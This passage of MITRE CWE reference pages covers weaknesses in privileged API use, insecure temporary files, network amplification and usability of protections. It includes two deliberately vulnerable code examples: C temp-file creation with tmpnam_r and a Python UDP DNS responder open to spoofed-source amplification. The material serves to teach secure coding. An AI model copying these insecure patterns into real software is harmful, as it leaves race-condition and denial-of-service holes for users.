updated Relationships
2009-10-29 CWE Content Team MITRE
updated Background_Details, Other_Notes
2008-10-14 CWE Content Team MITRE
updated Relationships
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-648: Incorrect Use of Privileged APIs

Weakness ID: 648
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.
+ Extended Description

When a product contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:

  • ensure that assumptions made by the APIs are valid, such as validity of arguments
  • account for known weaknesses in the design/implementation of the API
  • call the API from a safe context

If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.

For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity

Scope: Access Control

An attacker may be able to elevate privileges.

Read Application Data

Scope: Confidentiality

An attacker may be able to obtain sensitive information.

Execute Unauthorized Code or Commands

Scope: Integrity, Confidentiality, Availability

An attacker may be able to execute code.
+ Potential Mitigations
Phase(s) Mitigation

Implementation
Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.

Architecture and Design
Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.

Implementation
If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.

Implementation
If privileged APIs do not shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.

Implementation
Only call privileged APIs from safe, consistent and expected state.

Implementation
Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 269 Improper Privilege Management
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 265 Privilege Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
Low
+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
A Unix utility that displays online help files, if installed setuid, could allow a local attacker to gain privileges when a particular file-opening function is called.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 977 SFP Secondary Cluster: Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-01-30
(CWE Draft 8, 2008-01-30) 		Evgeny Lebanidze Cigital
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2018-03-27 CWE Content Team MITRE
updated Observed_Examples
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Observed_Examples, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Description, Potential_Mitigations
2010-12-13 CWE Content Team MITRE
updated Common_Consequences, Description
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2009-10-29 CWE Content Team MITRE
updated Common_Consequences
2009-05-27 CWE Content Team MITRE
updated Name, Related_Attack_Patterns
2008-10-14 CWE Content Team MITRE
updated Description, Potential_Mitigations
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2009-05-27 Improper Use of Privileged APIs
Back to top

CWE-377: Insecure Temporary File

Weakness ID: 377
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
Creating and using insecure temporary files can leave application and system data vulnerable to attack.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Files or Directories; Modify Files or Directories

Scope: Confidentiality, Integrity

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 668 Exposure of Resource to Wrong Sphere
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 378 Creation of Temporary File With Insecure Permissions
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 379 Creation of Temporary File in Directory with Insecure Permissions
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

(bad code)
Example Language: C 
if (tmpnam_r(filename)) {

FILE* tmp = fopen(filename,"wb+");
while((recv(sock,recvbuf,DATA_SIZE, 0) > 0)&(amt!=0)) amt = fwrite(recvbuf,1,DATA_SIZE,tmp);
}
...

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
A library uses the Java File.createTempFile() method which creates a file with "-rw-r--r--" default permissions on Unix-like operating systems
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 361 7PK - Time and State
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 857 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 964 SFP Secondary Cluster: Exposure Temporary File
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1147 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1169 SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1403 Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Other

Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks.

The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: "Unique" Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like tmpnam(), tempnam(), mktemp() and their C++ equivalents prefaced with an _ (underscore) as well as the GetTempFileName() function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to open() using the O_CREAT and O_EXCL flags or to CreateFile() using the CREATE_NEW attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions. - Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like tmpfile() and its C++ equivalents prefaced with an _ (underscore), as well as the slightly better-behaved C Library function mkstemp(). The tmpfile() style functions construct a unique filename and open it in the same way that fopen() would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, tmpfile() will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will likely be retained by the file opened by tmpfile(). Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if tmpfile() does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, mkstemp() is a reasonably safe way create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode 0600, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, mkstemp() still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes mkstemp() to fail by predicting and pre-creating the filenames to be used.

+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Insecure Temporary File
CERT C Secure Coding CON33-C Imprecise Avoid race conditions when using library functions
The CERT Oracle Secure Coding Standard for Java (2011) FIO00-J Do not operate on files in shared directories
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 23, "Creating Temporary Files Securely" Page 682. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Temporary Files", Page 538. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "File Squatting", Page 662. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-01-31 CWE Content Team MITRE
updated Related_Attack_Patterns
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated References, Relationships, Type
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2018-03-27 CWE Content Team MITRE
updated References
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, References, Taxonomy_Mappings
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2010-02-16 CWE Content Team MITRE
updated References
2009-05-27 CWE Content Team MITRE
updated Demonstrative_Examples
2009-03-10 CWE Content Team MITRE
updated Demonstrative_Examples
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-406: Insufficient Control of Network Message Volume (Network Amplification)

Weakness ID: 406
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the product to transmit more traffic than should be allowed for that actor.
+ Extended Description
In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

DoS: Amplification; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

Scope: Availability

System resources can be quickly consumed leading to poor application performance or system crash. This may affect network performance and could be used to attack other systems and applications relying on network performance.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Strategy: Separation of Privilege

An application must make network resources available to a client commensurate with the client's access level.

Policy
Define a clear policy for network resource allocation and consumption.

Implementation
An application must, at all times, keep track of network resources and meter their usage appropriately.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 405 Asymmetric Resource Consumption (Amplification)
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 941 Incorrectly Specified Destination in a Communication Channel
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Operation
Architecture and Design If the application uses UDP, then it could potentially be subject to spoofing attacks that use the inherent weaknesses of UDP to perform traffic amplification, although this problem can exist in other protocols or contexts.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


This code listens on a port for DNS requests and sends the result to the requesting address.

(bad code)
Example Language: Python 
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
data = sock.recvfrom(1024)
if not data:
break

(requestIP, nameToResolve) = parseUDPpacket(data)
record = resolveName(nameToResolve)
sendResponse(requestIP,record)

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses.
DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker.
Large datagrams are sent in response to malformed datagrams.
Game server sends a large amount.
composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 977 SFP Secondary Cluster: Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1382 ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1416 Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reasons Abstraction, Other

Rationale

This CWE entry is a Class, but it does not have Base-level children.

Comments

This entry is classified in a part of CWE's hierarchy that does not have sufficiently low-level coverage, which might reflect a lack of classification-oriented weakness research in the software security community. Conduct careful root cause analysis to determine the original mistake that led to this weakness. If closer analysis reveals that this weakness is appropriate, then this might be the best available CWE to use for mapping. If no other option is available, then it is acceptable to map to this CWE.
+ Notes

Relationship

This can be resultant from weaknesses that simplify spoofing attacks.

Theoretical

Network amplification, when performed with spoofing, is normally a multi-channel attack from attacker (acting as user) to amplifier, and amplifier to victim.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Network Amplification
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2022-04-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Type
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Modes_of_Introduction
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples
2010-06-21 CWE Content Team MITRE
updated Other_Notes, Relationship_Notes
2008-10-14 CWE Content Team MITRE
updated Description, Enabling_Factors_for_Exploitation, Name, Other_Notes, Theoretical_Notes
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-10-14 Network Amplification
Back to top

CWE-655: Insufficient Psychological Acceptability

Weakness ID: 655
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.
+ Potential Mitigations
Phase(s) Mitigation

Testing
Where possible, perform human factors and usability studies to identify where your product's security mechanisms are difficult to use, and why.

Architecture and Design
Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 657 Violation of Secure Design Principles
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


In "Usability of Security: A Case Study" [REF-540], the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.



Example 2


Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.



Example 3


Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.



+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
